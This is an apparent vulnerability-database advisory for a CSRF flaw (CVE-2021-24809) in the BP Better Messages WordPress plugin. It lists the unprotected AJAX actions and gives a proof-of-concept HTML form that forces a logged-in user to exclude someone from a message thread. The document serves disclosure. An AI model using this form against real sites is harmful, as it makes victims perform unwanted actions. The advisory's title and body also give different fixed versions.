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BP Better Messages < 1.9.9.41 - Multiple CSRF

Description

The plugin does not check for CSRF in multiple of its AJAX actions: bp_better_messages_leave_chat, bp_better_messages_join_chat, bp_messages_leave_thread, bp_messages_mute_thread, bp_messages_unmute_thread, bp_better_messages_add_user_to_thread, bp_better_messages_exclude_user_from_thread. This could allow attackers to make logged in users do unwanted actions

Proof of Concept

<html>
  <body>
    <form action="https://example.com/wp-admin/admin-ajax.php" method="POST">
      <input type="hidden" name="action" value="bp&#95;better&#95;messages&#95;exclude&#95;user&#95;from&#95;thread" />
      <input type="hidden" name="user&#95;id" value="4" />
      <input type="hidden" name="thread&#95;id" value="3" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html> 

Affects Plugins

bp-better-messages
Fixed in version 1.9.9.170

References

CVE
CVE-2021-24809
URL
https://plugins.trac.wordpress.org/changeset/2605772/bp-better-messages/trunk/inc/ajax.php

Classification

Type

CSRF

OWASP top 10
A2: Broken Authentication and Session Management
CWE
CWE-352

Miscellaneous

Original Researcher

Brandon Roldan

Submitter

Brandon Roldan

Submitter twitter
tomorrowisnew_
Verified

Yes

WPVDB ID
e186fef4-dca0-461f-b539-082c13a68d13

Timeline

Publicly Published

2021-10-04 (about 1 years ago)

Added

2021-10-04 (about 1 years ago)

Last Updated

2022-04-15 (about 11 months ago)

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